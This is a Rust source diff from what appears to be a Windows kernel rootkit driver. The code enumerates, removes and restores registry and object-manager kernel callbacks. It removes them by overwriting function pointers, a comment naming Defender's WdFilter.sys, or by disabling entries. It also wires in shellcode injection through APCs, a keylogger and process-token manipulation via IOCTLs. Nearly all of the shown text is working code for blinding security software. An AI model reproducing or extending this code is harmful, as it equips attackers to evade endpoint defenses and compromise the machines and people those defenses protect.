// Module index
|
||||
(*callback_info.offset(i as isize)).index = callback.index as u8;
|
||||
|
||||
*information += size_of::<CallbackInfoOutput>();
|
||||
break;
|
||||
}
|
||||
|
||||
// Go to the next module in the list
|
||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
// Reset ldr_data for next callback
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
}
|
||||
|
||||
/// Structure representing the Callback Registry.
|
||||
pub struct CallbackRegistry;
|
||||
|
||||
/// Implement a feature for the callback CmRegisterCallbackEx.
|
||||
impl CallbackList for CallbackRegistry {
|
||||
unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
||||
let mut callback_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||
let callback_type = (*target_callback).callback;
|
||||
let index = (*target_callback).index;
|
||||
|
||||
if let Some(x) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) {
|
||||
let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) {
|
||||
Some(CallbackResult::Registry(addr)) => addr,
|
||||
_ => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
|
||||
ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0);
|
||||
|
||||
let count = *(callback_count as *mut u32) + 1;
|
||||
let mut pcm_callback = callback_list_header as *mut CM_CALLBACK;
|
||||
|
||||
for i in 0..count {
|
||||
if pcm_callback.is_null() {
|
||||
break;
|
||||
}
|
||||
|
||||
if i == index as u32 {
|
||||
(*pcm_callback).function = callback_info[x].address;
|
||||
callback_info.remove(x);
|
||||
|
||||
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
|
||||
}
|
||||
|
||||
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
|
||||
|
||||
} else {
|
||||
log::error!("Callback not found for type {:?} at index {}", callback_type, index);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
||||
let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) {
|
||||
Some(CallbackResult::Registry(addr)) => addr,
|
||||
_ => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
|
||||
ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0);
|
||||
|
||||
let index = (*target_callback).index as isize;
|
||||
let count = *(callback_count as *mut u32) + 1;
|
||||
let mut pcm_callback = callback_list_header as *mut CM_CALLBACK;
|
||||
let mut callback_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||
let mut prev_addr = 0;
|
||||
|
||||
for i in 0..count {
|
||||
if i == 1 {
|
||||
prev_addr = (*pcm_callback).function as u64; // WdFilter.sys
|
||||
}
|
||||
|
||||
if pcm_callback.is_null() {
|
||||
break;
|
||||
}
|
||||
|
||||
if i == index as u32 {
|
||||
let addr = (*pcm_callback).function as u64;
|
||||
let callback_restaure = CallbackRestaure {
|
||||
index: (*target_callback).index,
|
||||
callback: (*target_callback).callback,
|
||||
address: addr,
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
(*pcm_callback).function = prev_addr;
|
||||
callback_info.push(callback_restaure);
|
||||
|
||||
log::info!("Callback removed at index {}", index);
|
||||
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
|
||||
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
|
||||
}
|
||||
|
||||
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
|
||||
|
||||
STATUS_UNSUCCESSFUL
|
||||
}
|
||||
|
||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||
let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) {
|
||||
Some(CallbackResult::Registry(addr)) => addr,
|
||||
_ => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
|
||||
let count = *(callback_count as *mut u32) + 1;
|
||||
let mut pcm_callback = callback_list_header as *mut CM_CALLBACK;
|
||||
let (mut ldr_data, module_count) = match return_module() {
|
||||
Some(result) => result,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
let start_entry = ldr_data;
|
||||
|
||||
ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0);
|
||||
|
||||
for i in 0..count as isize {
|
||||
if pcm_callback.is_null() {
|
||||
break;
|
||||
}
|
||||
// Iterate over the loaded modules
|
||||
for _ in 0..module_count {
|
||||
let start_address = (*ldr_data).DllBase;
|
||||
let image_size = (*ldr_data).SizeOfImage;
|
||||
let end_address = start_address as u64 + image_size as u64;
|
||||
let addr = (*pcm_callback).function as u64;
|
||||
|
||||
if addr > start_address as u64 && addr < end_address {
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*ldr_data).BaseDllName.Buffer,
|
||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
// Module name
|
||||
let name = &mut (*callback_info.offset(i)).name[..buffer.len()];
|
||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
||||
|
||||
// Module address
|
||||
(*callback_info.offset(i)).address = addr as usize;
|
||||
|
||||
// Module index
|
||||
(*callback_info.offset(i)).index = i as u8;
|
||||
|
||||
*information += size_of::<CallbackInfoOutput>();
|
||||
break;
|
||||
}
|
||||
|
||||
// Go to the next module in the list
|
||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
// Reset ldr_data for next callback
|
||||
ldr_data = start_entry;
|
||||
|
||||
pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
|
||||
}
|
||||
|
||||
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||
let callback_restaure = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||
|
||||
let (mut ldr_data, module_count) = match return_module() {
|
||||
Some(result) => result,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let start_entry = ldr_data;
|
||||
|
||||
for (i, callback) in callback_restaure.iter().enumerate() {
|
||||
for _ in 0..module_count {
|
||||
let start_address = (*ldr_data).DllBase;
|
||||
let image_size = (*ldr_data).SizeOfImage;
|
||||
let end_address = start_address as u64 + image_size as u64;
|
||||
|
||||
if callback.address > start_address as u64 && callback.address < end_address {
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*ldr_data).BaseDllName.Buffer,
|
||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
// Module name
|
||||
let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()];
|
||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
||||
|
||||
// Module address
|
||||
(*callback_info.offset(i as isize)).address = callback.address as usize;
|
||||
|
||||
// Module index
|
||||
(*callback_info.offset(i as isize)).index = callback.index as u8;
|
||||
|
||||
*information += size_of::<CallbackInfoOutput>();
|
||||
break;
|
||||
}
|
||||
// Go to the next module in the list
|
||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
// Reset ldr_data for next callback
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
}
|
||||
|
||||
/// Structure representing the Callback Object.
|
||||
pub struct CallbackOb;
|
||||
|
||||
/// Implement a feature for the callback ObRegisterCallbacks (PsProcessType / PsThreadType).
|
||||
impl CallbackList for CallbackOb {
|
||||
unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
||||
let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||
let callback_type = (*target_callback).callback;
|
||||
let index = (*target_callback).index;
|
||||
|
||||
if let Some(index) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) {
|
||||
let object_type = match find_callback_address(&(*target_callback).callback) {
|
||||
Some(CallbackResult::ObRegister(addr)) => addr,
|
||||
_ => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
|
||||
let lock = &(*object_type).type_lock as *const _ as *mut u64;
|
||||
ExAcquirePushLockExclusiveEx(lock, 0);
|
||||
|
||||
let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||
let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
||||
|
||||
while next != current {
|
||||
if !(*next).enabled && !next.is_null() && (*next).entry as u64 == callback_info[index].entry {
|
||||
(*next).enabled = true;
|
||||
callback_info.remove(index);
|
||||
ExReleasePushLockExclusiveEx(lock, 0);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
||||
}
|
||||
|
||||
ExReleasePushLockExclusiveEx(lock, 0);
|
||||
} else {
|
||||
log::error!("Callback not found for type {:?} at index {}", callback_type, index);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
STATUS_UNSUCCESSFUL
|
||||
}
|
||||
|
||||
unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
||||
let object_type = match find_callback_address(&(*target_callback).callback) {
|
||||
Some(CallbackResult::ObRegister(addr)) => addr,
|
||||
_ => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
|
||||
let lock = &(*object_type).type_lock as *const _ as *mut u64;
|
||||
ExAcquirePushLockExclusiveEx(lock, 0);
|
||||
|
||||
let mut i = 0;
|
||||
let index = (*target_callback).index;
|
||||
let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||
let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
||||
let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||
|
||||
while next != current {
|
||||
if i == index {
|
||||
if (*next).enabled {
|
||||
let mut callback_restaure = CallbackRestaureOb {
|
||||
index,
|
||||
callback: (*target_callback).callback,
|
||||
entry: (*next).entry as u64,
|
||||
pre_operation: 0,
|
||||
post_operation: 0
|
||||
};
|
||||
|
||||
if let Some(pre_op) = (*next).pre_operation {
|
||||
callback_restaure.pre_operation = pre_op as _;
|
||||
}
|
||||
|
||||
if let Some(post_op) = (*next).post_operation {
|
||||
callback_restaure.post_operation = post_op as _;
|
||||
}
|
||||
|
||||
(*next).enabled = false;
|
||||
|
||||
callback_info.push(callback_restaure);
|
||||
log::info!("Callback removed at index {}", index);
|
||||
}
|
||||
|
||||
ExReleasePushLockExclusiveEx(lock, 0);
|
||||
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
||||
i += 1;
|
||||
}
|
||||
|
||||
ExReleasePushLockExclusiveEx(lock, 0);
|
||||
|
||||
STATUS_UNSUCCESSFUL
|
||||
}
|
||||
|
||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||
let object_type = match find_callback_address(&(*target_callback).callback) {
|
||||
Some(CallbackResult::ObRegister(addr)) => addr,
|
||||
_ => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
|
||||
let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||
let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
||||
let mut list_objects = Vec::new();
|
||||
|
||||
while next != current {
|
||||
let mut addrs = (0, 0);
|
||||
if let Some(pre_op) = (*next).pre_operation {
|
||||
addrs.0 = pre_op as u64;
|
||||
}
|
||||
|
||||
if let Some(post_op) = (*next).post_operation {
|
||||
addrs.1 = post_op as u64;
|
||||
}
|
||||
|
||||
list_objects.push(((*next).enabled, addrs));
|
||||
|
||||
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
|
||||
}
|
||||
|
||||
let (mut ldr_data, module_count) = match return_module() {
|
||||
Some(result) => result,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let start_entry = ldr_data;
|
||||
let mut current_index = 0;
|
||||
|
||||
for (i, (enabled, addrs)) in list_objects.iter().enumerate() {
|
||||
if !enabled {
|
||||
current_index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
for _ in 0..module_count {
|
||||
let start_address = (*ldr_data).DllBase;
|
||||
let image_size = (*ldr_data).SizeOfImage;
|
||||
let end_address = start_address as u64 + image_size as u64;
|
||||
let pre = addrs.0;
|
||||
let post = addrs.1;
|
||||
|
||||
if pre > start_address as u64 && pre < end_address ||
|
||||
post > start_address as u64 && post < end_address
|
||||
{
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*ldr_data).BaseDllName.Buffer,
|
||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
// Module name
|
||||
let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()];
|
||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
||||
|
||||
// Module address
|
||||
(*callback_info.offset(i as isize)).pre_operation = pre as usize;
|
||||
(*callback_info.offset(i as isize)).post_operation = post as usize;
|
||||
|
||||
// Module index
|
||||
(*callback_info.offset(i as isize)).index = current_index as u8;
|
||||
|
||||
*information += size_of::<CallbackInfoOutput>();
|
||||
current_index += 1;
|
||||
break;
|
||||
}
|
||||
|
||||
// Go to the next module in the list
|
||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
// Reset ldr_data for next callback
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||
let callback_restaure = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||
|
||||
let (mut ldr_data, module_count) = match return_module() {
|
||||
Some(result) => result,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let start_entry = ldr_data;
|
||||
|
||||
for (i, callback) in callback_restaure.iter().enumerate() {
|
||||
for _ in 0..module_count {
|
||||
let start_address = (*ldr_data).DllBase;
|
||||
let image_size = (*ldr_data).SizeOfImage;
|
||||
let end_address = start_address as u64 + image_size as u64;
|
||||
|
||||
if callback.pre_operation > start_address as u64 && callback.pre_operation < end_address
|
||||
|| callback.post_operation > start_address as u64 && callback.post_operation < end_address
|
||||
{
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*ldr_data).BaseDllName.Buffer,
|
||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
// Module name
|
||||
let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()];
|
||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
||||
|
||||
// Module address
|
||||
(*callback_info.offset(i as isize)).pre_operation = callback.pre_operation as usize;
|
||||
(*callback_info.offset(i as isize)).post_operation = callback.post_operation as usize;
|
||||
|
||||
// Module index
|
||||
(*callback_info.offset(i as isize)).index = callback.index as u8;
|
||||
|
||||
*information += size_of::<CallbackInfoOutput>();
|
||||
break;
|
||||
}
|
||||
// Go to the next module in the list
|
||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
// Reset ldr_data for next callback
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
}
|
||||
@@ -4,96 +4,196 @@
|
||||
use {
|
||||
bitfield::bitfield,
|
||||
ntapi::ntpsapi::PPS_ATTRIBUTE_LIST,
|
||||
wdk_sys::{
|
||||
ACCESS_MASK, HANDLE, KIRQL, KPROCESSOR_MODE, NTSTATUS, PACCESS_STATE,
|
||||
PCUNICODE_STRING, PEPROCESS, PETHREAD, PHANDLE, PKAPC, PKIRQL, POBJECT_ATTRIBUTES,
|
||||
POBJECT_TYPE, PPEB, PRKAPC, PSIZE_T, PULONG, PUNICODE_STRING, PVOID, SIZE_T, ULONG,
|
||||
_DRIVER_OBJECT, KPRIORITY
|
||||
},
|
||||
shared::structs::LIST_ENTRY,
|
||||
wdk_sys::*,
|
||||
winapi::ctypes::c_void
|
||||
};
|
||||
|
||||
bitfield! {
|
||||
pub struct PS_PROTECTION(u8);
|
||||
pub u8, type_, set_type_: 2, 0; // 3 bits
|
||||
pub u8, audit, set_audit: 3; // 1 bit
|
||||
pub u8, signer, set_signer: 7, 4; // 4 bits
|
||||
pub mod structs {
|
||||
use super::*;
|
||||
use shared::vars::Callbacks;
|
||||
|
||||
#[repr(C)]
|
||||
pub struct FULL_OBJECT_TYPE {
|
||||
type_list: LIST_ENTRY,
|
||||
name: UNICODE_STRING,
|
||||
default_object: *mut c_void,
|
||||
index: u8,
|
||||
total_number_of_objects: u32,
|
||||
pub total_number_of_handles: u32,
|
||||
high_water_number_of_objects: u32,
|
||||
high_water_number_of_handles: u32,
|
||||
type_info: [u8; 0x78],
|
||||
pub type_lock: _EX_PUSH_LOCK,
|
||||
key: u32,
|
||||
pub callback_list: LIST_ENTRY,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct OBCALLBACK_ENTRY {
|
||||
pub callback_list: LIST_ENTRY,
|
||||
operations: OB_OPERATION,
|
||||
pub enabled: bool,
|
||||
pub entry: *mut OB_CALLBACK,
|
||||
object_type: POBJECT_TYPE,
|
||||
pub pre_operation: POB_PRE_OPERATION_CALLBACK,
|
||||
pub post_operation: POB_POST_OPERATION_CALLBACK,
|
||||
lock: KSPIN_LOCK
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct OB_CALLBACK {
|
||||
version: u16,
|
||||
operation_registration_count: u16,
|
||||
registration_context: *mut c_void,
|
||||
altitude_string: UNICODE_STRING,
|
||||
entry_items: [OBCALLBACK_ENTRY; 1],
|
||||
altitude_buffer: [u16; 1],
|
||||
}
|
||||
|
||||
pub struct PROCESS_SIGNATURE {
|
||||
pub signature_level: u8,
|
||||
pub section_seginature_level: u8,
|
||||
pub protection: PS_PROTECTION,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct SystemModule {
|
||||
pub section: *mut c_void,
|
||||
pub mapped_base: *mut c_void,
|
||||
pub image_base: *mut c_void,
|
||||
pub size: u32,
|
||||
pub flags: u32,
|
||||
pub index: u8,
|
||||
pub name_length: u8,
|
||||
pub load_count: u8,
|
||||
pub path_length: u8,
|
||||
pub image_name: [u8; 256],
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct SystemModuleInformation {
|
||||
pub modules_count: u32,
|
||||
pub modules: [SystemModule; 256],
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct CM_CALLBACK {
|
||||
pub list: LIST_ENTRY,
|
||||
unknown1: [u64; 2],
|
||||
context: u64,
|
||||
pub function: u64,
|
||||
altitude: UNICODE_STRING,
|
||||
unknown2: [u64; 2],
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
pub struct _EX_PUSH_LOCK(u64);
|
||||
impl Debug;
|
||||
u64;
|
||||
locked, set_locked: 0;
|
||||
waiting, set_waiting: 1;
|
||||
waking, set_waking: 2;
|
||||
multiple_shared, set_multiple_shared: 3;
|
||||
shared, set_shared: 63, 4;
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
union ExPushLockUnion {
|
||||
struct_data: core::mem::ManuallyDrop<_EX_PUSH_LOCK>,
|
||||
value: u64,
|
||||
ptr: *mut c_void,
|
||||
}
|
||||
|
||||
bitfield! {
|
||||
pub struct PS_PROTECTION(u8);
|
||||
pub u8, type_, set_type_: 2, 0; // 3 bits
|
||||
pub u8, audit, set_audit: 3; // 1 bit
|
||||
pub u8, signer, set_signer: 7, 4; // 4 bits
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Default)]
|
||||
pub struct CallbackRestaure {
|
||||
pub index: usize,
|
||||
pub callback: Callbacks,
|
||||
pub address: u64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CallbackRestaureOb{
|
||||
pub index: usize,
|
||||
pub callback: Callbacks,
|
||||
pub pre_operation: u64,
|
||||
pub post_operation: u64,
|
||||
pub entry: u64,
|
||||
}
|
||||
}
|
||||
|
||||
pub struct PROCESS_SIGNATURE {
|
||||
pub signature_level: u8,
|
||||
pub section_seginature_level: u8,
|
||||
pub protection: PS_PROTECTION,
|
||||
}
|
||||
pub mod types {
|
||||
use super::*;
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct SystemModule {
|
||||
pub section: *mut c_void,
|
||||
pub mapped_base: *mut c_void,
|
||||
pub image_base: *mut c_void,
|
||||
pub size: u32,
|
||||
pub flags: u32,
|
||||
pub index: u8,
|
||||
pub name_length: u8,
|
||||
pub load_count: u8,
|
||||
pub path_length: u8,
|
||||
pub image_name: [u8; 256],
|
||||
}
|
||||
// pub type OperationPre = unsafe extern "C" fn(*mut core::ffi::c_void, *mut OB_PRE_OPERATION_INFORMATION) -> i32;
|
||||
// pub type OperationPost = unsafe extern "C" fn(*mut core::ffi::c_void, *mut _OB_POST_OPERATION_INFORMATION);
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct SystemModuleInformation {
|
||||
pub modules_count: u32,
|
||||
pub modules: [SystemModule; 256],
|
||||
}
|
||||
|
||||
pub type DRIVER_INITIALIZE = core::option::Option<
|
||||
unsafe extern "system" fn(
|
||||
pub type DRIVER_INITIALIZE = core::option::Option<unsafe extern "system" fn(
|
||||
DriverObject: &mut _DRIVER_OBJECT,
|
||||
RegistryPath: PCUNICODE_STRING,
|
||||
) -> NTSTATUS,
|
||||
>;
|
||||
) -> NTSTATUS>;
|
||||
|
||||
pub type ZwCreateThreadExType = unsafe extern "system" fn (
|
||||
ThreadHandle: PHANDLE,
|
||||
DesiredAccess: ACCESS_MASK,
|
||||
ObjectAttributes: POBJECT_ATTRIBUTES,
|
||||
ProcessHandle: HANDLE,
|
||||
StartRoutine: PVOID,
|
||||
Argument: PVOID,
|
||||
CreateFlags: SIZE_T,
|
||||
ZeroBits: usize,
|
||||
StackSize: usize,
|
||||
MaximumStackSize: usize,
|
||||
AttributeList: PPS_ATTRIBUTE_LIST
|
||||
) -> NTSTATUS;
|
||||
pub type ZwCreateThreadExType = unsafe extern "system" fn (
|
||||
ThreadHandle: PHANDLE,
|
||||
DesiredAccess: ACCESS_MASK,
|
||||
ObjectAttributes: POBJECT_ATTRIBUTES,
|
||||
ProcessHandle: HANDLE,
|
||||
StartRoutine: PVOID,
|
||||
Argument: PVOID,
|
||||
CreateFlags: SIZE_T,
|
||||
ZeroBits: usize,
|
||||
StackSize: usize,
|
||||
MaximumStackSize: usize,
|
||||
AttributeList: PPS_ATTRIBUTE_LIST
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type ZwProtectVirtualMemoryType = unsafe extern "system" fn (
|
||||
ProcessHandle: HANDLE,
|
||||
BaseAddress: *mut PVOID,
|
||||
RegionSize: PSIZE_T,
|
||||
NewProtect: ULONG,
|
||||
OldProtect: PULONG
|
||||
) -> NTSTATUS;
|
||||
pub type ZwProtectVirtualMemoryType = unsafe extern "system" fn (
|
||||
ProcessHandle: HANDLE,
|
||||
BaseAddress: *mut PVOID,
|
||||
RegionSize: PSIZE_T,
|
||||
NewProtect: ULONG,
|
||||
OldProtect: PULONG
|
||||
) -> NTSTATUS;
|
||||
|
||||
pub type PKRUNDOWN_ROUTINE = Option<unsafe extern "system" fn(
|
||||
apc: PKAPC,
|
||||
) -> NTSTATUS>;
|
||||
pub type PKRUNDOWN_ROUTINE = Option<unsafe extern "system" fn(
|
||||
apc: PKAPC,
|
||||
) -> NTSTATUS>;
|
||||
|
||||
pub type PKNORMAL_ROUTINE = Option<unsafe extern "system" fn(
|
||||
normal_context: *mut PVOID,
|
||||
system_argument1: *mut PVOID,
|
||||
system_argument2: *mut PVOID
|
||||
) -> NTSTATUS>;
|
||||
pub type PKNORMAL_ROUTINE = Option<unsafe extern "system" fn(
|
||||
normal_context: *mut PVOID,
|
||||
system_argument1: *mut PVOID,
|
||||
system_argument2: *mut PVOID
|
||||
) -> NTSTATUS>;
|
||||
|
||||
pub type PKKERNEL_ROUTINE = unsafe extern "system" fn(
|
||||
apc: PKAPC,
|
||||
normal_routine: *mut PKNORMAL_ROUTINE,
|
||||
normal_context: *mut PVOID,
|
||||
system_argument1: *mut PVOID,
|
||||
system_argument2: *mut PVOID
|
||||
);
|
||||
pub type PKKERNEL_ROUTINE = unsafe extern "system" fn(
|
||||
apc: PKAPC,
|
||||
normal_routine: *mut PKNORMAL_ROUTINE,
|
||||
normal_context: *mut PVOID,
|
||||
system_argument1: *mut PVOID,
|
||||
system_argument2: *mut PVOID
|
||||
);
|
||||
}
|
||||
|
||||
pub mod enums {
|
||||
#[repr(C)]
|
||||
pub enum KAPC_ENVIROMENT {
|
||||
OriginalApcEnvironment,
|
||||
AttachedApcEnvironment,
|
||||
CurrentApcEnvironment,
|
||||
InsertApcEnvironment
|
||||
}
|
||||
}
|
||||
|
||||
extern "system" {
|
||||
pub fn PsGetProcessPeb(ProcessId: PEPROCESS) -> PPEB;
|
||||
@@ -131,10 +231,10 @@ extern "system" {
|
||||
pub fn KeInitializeApc(
|
||||
apc: PRKAPC,
|
||||
thread: PETHREAD,
|
||||
environment: KAPC_ENVIROMENT,
|
||||
kernel_routine: PKKERNEL_ROUTINE,
|
||||
rundown_routine: PKRUNDOWN_ROUTINE,
|
||||
normal_routine: PKNORMAL_ROUTINE,
|
||||
environment: enums::KAPC_ENVIROMENT,
|
||||
kernel_routine: types::PKKERNEL_ROUTINE,
|
||||
rundown_routine: types::PKRUNDOWN_ROUTINE,
|
||||
normal_routine: types::PKNORMAL_ROUTINE,
|
||||
apc_mode: KPROCESSOR_MODE,
|
||||
normal_context: PVOID
|
||||
);
|
||||
@@ -150,11 +250,3 @@ extern "system" {
|
||||
increment: KPRIORITY
|
||||
) -> bool;
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub enum KAPC_ENVIROMENT {
|
||||
OriginalApcEnvironment,
|
||||
AttachedApcEnvironment,
|
||||
CurrentApcEnvironment,
|
||||
InsertApcEnvironment
|
||||
}
|
||||
|
||||
@@ -6,9 +6,11 @@ use {
|
||||
core::{ffi::c_void, ptr::null_mut, mem::{size_of, transmute}},
|
||||
crate::{
|
||||
includes::{
|
||||
MmCopyVirtualMemory, KeInitializeApc, ZwCreateThreadExType, ZwProtectVirtualMemoryType,
|
||||
KAPC_ENVIROMENT::OriginalApcEnvironment, PKNORMAL_ROUTINE, KeTestAlertThread,
|
||||
PsGetCurrentThread, KeInsertQueueApc
|
||||
types::{
|
||||
ZwProtectVirtualMemoryType, ZwCreateThreadExType, PKNORMAL_ROUTINE
|
||||
},
|
||||
MmCopyVirtualMemory, KeInitializeApc, KeTestAlertThread, PsGetCurrentThread, KeInsertQueueApc,
|
||||
enums::KAPC_ENVIROMENT::OriginalApcEnvironment,
|
||||
},
|
||||
process::Process,
|
||||
utils::{find_zw_function, read_file, InitializeObjectAttributes, find_thread_alertable}
|
||||
|
||||
@@ -12,7 +12,7 @@ use {
|
||||
},
|
||||
},
|
||||
crate::{
|
||||
includes::PROCESS_SIGNATURE,
|
||||
includes::structs::PROCESS_SIGNATURE,
|
||||
utils::offsets::{get_offset_signature, get_offset_token, get_offset_unique_process_id},
|
||||
},
|
||||
};
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
use {
|
||||
crate::{*,
|
||||
callbacks::Callback, driver::Driver,
|
||||
injection::InjectionShellcode, keylogger::set_keylogger_state,
|
||||
crate::{
|
||||
*, callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList},
|
||||
driver::Driver, injection::InjectionShellcode, keylogger::set_keylogger_state,
|
||||
module::Module, process::Process, thread::Thread
|
||||
},
|
||||
alloc::boxed::Box,
|
||||
@@ -100,21 +100,29 @@ lazy_static! {
|
||||
ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_CALLBACK");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_callback!(irp, stack, Callback::search_module, CallbackInfoInput, CallbackInfoOutput, &mut information) };
|
||||
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
|
||||
